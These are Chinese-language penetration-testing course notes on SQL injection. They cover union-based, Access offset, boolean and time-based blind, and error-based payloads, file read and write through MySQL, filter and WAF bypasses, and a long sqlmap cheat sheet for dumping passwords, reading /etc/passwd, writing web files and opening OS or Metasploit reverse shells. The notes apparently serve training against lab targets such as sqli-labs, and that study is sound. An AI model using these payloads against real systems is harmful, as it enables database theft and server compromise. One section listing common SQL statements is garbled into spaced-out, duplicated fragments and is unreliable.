1. CTF、SRC、红蓝对抗、实战
a) 简要说明以上漏洞危害情况
i. SQL注入:可以获取数据库权限,得到数据库中的数据
ii. 文件上传:直接获取网站权限
iii. XSS跨站:获取网站后台权限
b) 简要说明以上漏洞等级划分
i. 高危:涉及数据的安全和权限的丢失,SQL注入、文件上传、文件包含、代码执行、未授权访问、命令执行
ii. 中危:有一部分影响,反序列化、逻辑安全
iii. 低危:小部分的信息泄露,信息不是指数据,是指网站的源码,部分的账号密码,影响不大的情况,XSS跨站、目录遍历、文件读取
c) 简要说明以上漏洞重
d) 简要说明以上漏洞形式问题
2. SQL注入漏洞-数据库操作危害
3. 目录遍历漏洞-源码结构泄露危害
4. 文件读取漏洞-源码内容获取危害
5. 文件上传漏洞-WEB权限丢失危害
6. 案例研究
a) https://github.com/zhuifengshaonianhanlu/pikachu
A)可控变量
B)带入数据库查询
C)变量未存在过滤或过滤不严谨
1. mysql数据库
数据库A=网站A=数据库用户A
表名
列名
数据
2. 知识点:
在mysql5.0以上版本中mysql存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。
Information_schema.tables:记录所有表名信息的表
Information_schema.columns:记录所有列名信息的表
Table_name:表名
Column_name:列名
Table_schema:数据库名
判断注入:
① 猜解列名数量(字段数) order by x 错误与正常的正常值
a) http://xxx/new_list.php?id=1 order by 4
② 报错猜解准备:
a) http://xxx/new_list.php?id=1%20union%20select%201,2,3,4
b) http://xxx/new_list.php?id=-1%20union%20select%201,2,3,4
信息搜集:
数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os Linux
查询指定数据库mozhe_Discuz_StormGroup名下的表名信息:
Http://219.153.49.228:48354/new_list.php?id=-1 union select
1,group_concat(table_name),3,3 from information_schema.tables where table_schema=’ mozhe_Discuz_StormGroup’
查询指定数据库mozhe_Discuz_StormGroup名下的列名信息:
Http://219.153.49.228:48354/new_list.php?id=-1 union select 1,group_concat(column_name),3,3 from information_schema.columns where table_name=’ StormGroup_member’
猜解多个数据可以采用limit x,1变动猜解
1.高权限注入及低权限注入
A)#跨库查询及应用思路
information_schema.xxx
B)获取所有数据库名
http://127.0.0.1:8080/sqlilabs/Less-2/?id=1 union select 1,group_concat(schema_name),3%20from information_schema.schemata
C)获取指定qqyw数据库下的表名信息:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’qqyw’
D)获取指定数据库下的表名admin下的列名信息:
union select 1,group_concat(column_name),3 from information_schema.columns where table_name = ‘admin’ and table_schema=’qqyw’
E)获取指定数据库下admin的数据:
Union select 1,u,p,4 from qqyw.admin
2.文件读写操作
Load_file():读取函数
Into outfile d:/www.txt或 into dumpfile:导出函数
这两个函数是Mysql独有的
select load_file(‘C:/test.txt’) 读取C盘下的test.txt文件
select ‘x’ into outfile D:/’test.txt’ 在D盘下的test.txt文件(若没有就创建)中写入“x”
https://blog.csdn.net/weixin_30292843/article/details/99381669 常见的load_file()读取敏感信息
3.路径获取常见方法:
报错显示:intext:warning inurl:php
遗留文件:phpinfo.php—SCRIPT_FILENAME
漏洞报错:直接搜爆路径漏洞
平台配置文件
爆破:
3. 常见读取文件列表
https://blog.csdn.net/weixin_30292843/article/details/99381669
防注入手段
5. 魔术引号及常见防护
A)魔术引号开关:magic_quotes_gpc
在magic_quotes_gpc=ON的情况下,如果输入的数据有单引号(’)、双引号(”)、反斜线(\)与 NUL( )等字符都会被加上反斜线,即被转义。在PHP6中删除了这个选项
B)**绕过魔术引号方法:**编码或宽字节绕过,如将网址转换成十六进制编码
C)内置函数
addslashes() 效果同魔术引号
is_int() 、is_integer()、is_long() 不可绕过
D)关键字过滤
把特定的关键字替换为空或把含有特定关键字的语句丢弃,WAF好用
尝试大小写、编码、双写等方法绕过,如果过滤设置的全面则无法绕过
E)WAF
一般基于上述内置函数和关键字过滤,主要是关键字 。
2.演示案例:
参数字符型注入测试——sqlilabs less 5 6
Post数据提交注入测试——sqlilabs less 11
参数JSON数据注入测试——本地环境代码演示
COOKIE数据提交注入测试——sqlilabs less 20
HTTP头部参数数据注入测试——sqlilabs less 18
具体参考MYSQL注入天书(Sqli-labs)
1. 数据库注入:
① 明确注入数据库类型
② 明确提交方法、参数类型
③ 高或低:
a) 明确数据库记录信息系统表
b) 依次库,表,列,值注入查询
c) 找后台,登录,获取shell
④ 高权限
a) 文件读写
b) 命令执行
c) 注册表读取
2. 数据库:Access mssql mysql mongoDB postgresql sqlite oracle sybase等
Access
表名
列名
数据
Mysql mssql
数据库名A
表名
列名
数据
数据库名B
3. 简要学习各种数据库注入特点
4. 数据库架构组成、数据库高权限操作
5. 简要学习各种注入工具的使用指南
6. 熟悉工具的支持库、注入模式,优缺点
a) Sqlmap、NoSQLAttack、Pangolin等
SQLMAP
基本操作笔记:
-u #注入点
-f #指纹判别数据库类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&id=2 -p “page,id”)
-D “” #指定数据库名
-T “” #指定表名
-C “” #指定字段
-s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log” 恢复:-s “xx.log” --resume)
–level=(1-5) #要执行的测试水平等级,默认为1
–risk=(0-3) #测试执行的风险等级,默认为1
–time-sec=(2,5) #延迟响应,默认为5
–data #通过POST发送数据
–columns #列出字段
–current-user #获取当前用户名称
–current-db #获取当前数据库名称
–users #列数据库所有用户
–passwords #数据库用户所有密码
–privileges #查看用户权限(–privileges -U root)
-U #指定数据库用户
–dbs #列出所有数据库
–tables -D “” #列出指定数据库中的表
–columns -T “user” -D “mysql” #列出mysql数据库中的user表的所有字段
–dump-all #列出所有数据库所有表
–exclude-sysdbs 只列出用户自己新建的数据库和表
–dump -T “” -D “” -C “” #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname)
–dump -T “” -D “” --start 2 --top 4 #列出指定数据库的表的2-4字段的数据
–dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
–os #指定系统(Linux,Windows)
-v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息
1:显示信息和警告消息
2:显示调试消息
3:有效载荷注入
4:显示HTTP请求
5:显示HTTP响应头
6:显示HTTP响应页面的内容
–privileges #查看权限
–is-dba #是否是数据库管理员
–roles #枚举数据库用户角色
–udf-inject #导入用户自定义函数(获取系统权限)
–union-check #是否支持union注入
–union-cols #union查询表记录
–union-test #union语句测试
–union-use #采用union注入
–union-tech orderby #union配合order by
–data “” #POST方式提交数据(–data “page=1&id=2”)
–cookie “用;号分开” #cookie注入(–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)
–referer “” #使用referer欺骗(–referer “http://www.baidu.com”)
–user-agent “” #自定义user-agent
–proxy “http://127.0.0.1:8118” #代理注入
–string="" #指定关键词,字符串匹配
–threads #采用多线程(–threads 3)
–sql-shell #执行指定sql命令
–sql-query #执行指定的sql语句(–sql-query “SELECT password FROM mysql.user WHERE user = ‘root’ LIMIT 0, 1” )
–file-read #读取指定文件
–file-write #写入本地文件(–file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)
–file-dest #要写入的文件绝对路径
–os-cmd=id #执行系统命令
–os-shell #系统交互shell
–os-pwn #反弹shell(–os-pwn --msf-path=/opt/framework/msf3/)
–msf-path= #matesploit绝对路径(–msf-path=/opt/framework/msf3/)
–os-smbrelay #
–os-bof #
–reg-read #读取win系统注册表
–priv-esc #
–time-sec= #延迟设置 默认–time-sec=5 为5秒
-p “user-agent” --user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)” #指定user-agent注入
–eta #盲注
/pentest/database/sqlmap/txt/
common-columns.txt 字段字典
common-outputs.txt
common-tables.txt 表字典
keywords.txt
oracle-default-passwords.txt
user-agents.txt
wordlist.txt
常用语句:
1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db --users --passwords --dbs -v 0
2./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --passwords -U root --union-use -v 2
3./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -T users -C username -D userdb --start 2 --stop 3 -v 2
4./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -C “user,pass” -v 1 --exclude-sysdbs
5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --sql-shell -v 2
6./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-read “c:\boot.ini” -v 2
7./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-write /test/test.txt --file-dest /var/www/html/1.txt -v 2
8./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-cmd “id” -v 1
9./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-shell --union-use -v 2
10./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 --priv-esc -v 1
11./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 -v 1
12./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-bof --msf-path=/opt/framework/msf3 -v 1
13./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --reg-add --reg-key=“HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap” --reg-value=Test --reg-type=REG_SZ --reg-data=1
14./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --eta
15./sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1” -p id --prefix “’)” --suffix “AND (‘abc’='abc”
16./sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1” --auth-type Basic --auth-cred “testuser:testpass”
17./sqlmap.py -l burp.log --scope="(www)?.target.(com|net|org)"
18./sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
19./sqlmap.py -u “http://192.168.136.131/sqlmap/mssql/get_int.php?id=1” --sql-query “SELECT ‘foo’” -v 1
20./sqlmap.py -u “http://192.168.136.129/mysql/get_int_4.php?id=1” --common-tables -D testdb --banner
21./sqlmap.py -u “http://192.168.136.129/mysql/get_int_4.php?id=1” --cookie=“PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low” --string=‘xx’ --dbs --level=3 -p “uid”
简单的注入流程:
1.读取数据库版本,当前用户,当前数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v 1
2.判断当前数据库用户权限
sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U 用户名 -v 1
sqlmap -u http://www.xxxxx.com/test.php?p=2 --is-dba -U 用户名 -v 1
3.读取所有数据库用户或指定数据库用户的密码
sqlmap -u http://www.xxxxx.com/test.php?p=2 --users --passwords -v 2
sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v 2
4.获取所有数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2
5.获取指定数据库中的所有表
sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v 2
6.获取指定数据库名中指定表的字段
sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2
7.获取指定数据库名中指定表中指定字段的数据
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql -T users -C “username,password” -s “sqlnmapdb.log” -v 2
8.file-read读取web文件
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read “/etc/passwd” -v 2
9.file-write写入文件到web
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file
使用sqlmap绕过防火墙进行注入
参考网址:
sqlmap超详细笔记+思维导图:https://www.cnblogs.com/bmjoker/p/9326258.html
NoSQLAttack:https://github.com/youngyangyang04/NoSQLAttack
sqlmap:https://github.com/sqlmapproject/sqlmap/
墨者学院SQL手工注入漏洞测试(MongoDB数据库)详解:
https://blog.csdn.net/qq_39936434/article/details/9531944
墨者学院-在线靶场-WEB安全-SQL注入:
https://www.mozhe.cn/bug/WUJ3OGVQSTIyeXdvbHU2ZmV0MjVDUT09bW96aGUmozhe
1. 上节课的Access暴力猜解不出的问题?
Access偏移注入
在已知表名不知列名的前提下(表名admin)
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
将选取的内容替换为“*”(页面报错)
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin
删减选取的内容直到页面正常
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,* from admin
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin(页面正常)
一级偏移语句:
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
查看源代码,会发现随机爆出的数据内容
如果无效尝试二级偏移
二级偏移语句:
?id=1513 UNION SELECT 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join as c on a.id=c.id)
2. 常见SQL语句
a) select 查询数据
b) 在网站应用中进行数据显示查询操作
c) select * from news where id= i d d ) i n s e r t 插 入 数 据 e ) 在 网 站 应 用 中 进 行 用 户 注 册 添 加 等 操 作 f ) i n s e r t i n t o n e w s ( i d , u r l , t e x t ) v a l u e s ( 2 , ′ x ′ , ′ id d) insert 插入数据 e) 在网站应用中进行用户注册添加等操作 f) insert into news(id,url,text) values(2,'x',' idd)insert插入数据e)在网站应用中进行用户注册添加等操作f)insertintonews(id,url,text)values(2,′x′,′t’)
g) delete 删除数据
h) 后台管理里面删除文章删除用户等操作
i) delete from news where id= i d j ) u p d a t e 更 新 数 据 k ) 会 员 或 后 台 中 心 数 据 同 步 或 缓 存 等 操 作 l ) u p d a t e u s e r s e t p w d = ′ id j) update 更新数据 k) 会员或后台中心数据同步或缓存等操作 l) update user set pwd=' idj)update更新数据k)会员或后台中心数据同步或缓存等操作l)updateusersetpwd=′p’ where id=2 and username=‘admin’
m) order by 排列数据
n) 一般结合表名或列名进行数据排序操作
o) select * from news order by $id
p)
q) select id,name,price from news order by $order
3. 基于布尔的SQL盲注——逻辑判断
a) Regexp, like,ascii ,left,ord,mid
?id=1’ and left(database(),2)=’se’–+(正确则页面正常,错误则页面异常)
4. 基于时间的SQL盲注——延时判断
If,sleep
?id=1 and sleep(if(database()=’pikachu’,5,0))–+
?id=1 and sleep(if(length(database())=8,5,0))–+
?id=1 and sleep(if(mid(database(),1,1)=’s’,5,0))–+
?id=1 and sleep(if(ascii(mid(database(),1,1))=115,5,0))–+
(用ASCII码可以避免引号转义,也方便写脚本)
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)–+
5. 基于报错的SQL盲注——报错回显
a) Floor,updatexml,extractvalue
b) https://www.jianshu.com/p/bc35f8dd4f7c
6. 参考:
like ‘ro%’ 判断ro或ro…是否成立
regexp ‘xiaodi[a-z]’ 匹配xiaodi及xiaodi…等
if(条件,5,0) 条件成立则返回5,反之返回0
sleep(5) SQL语句延时执行5秒
mid(a,b,c) 从位置b开始,截取a字符串的c位
substr(a,b,c) 从b位置开始,截取字符串a的c长度
left(database(),1),database() left(a,b)从左侧截取a的前b位
length(database())=8 判断数据库database()名的长度
ord=ascii ascii(x)=97 判断x的ascii码是否等于97
涉及资源:
12种报错注入+万能语句:https://www.jianshu.com/p/bc35f8dd4f7c
Order by排序注入方法小总结:https://www.jianshu.com/p/fcae21926e5c
asp+access注入源码:https://pan.baidu.com/s/1IX6emxDpvYrVZbQzJbHn3g 提取码:l9f6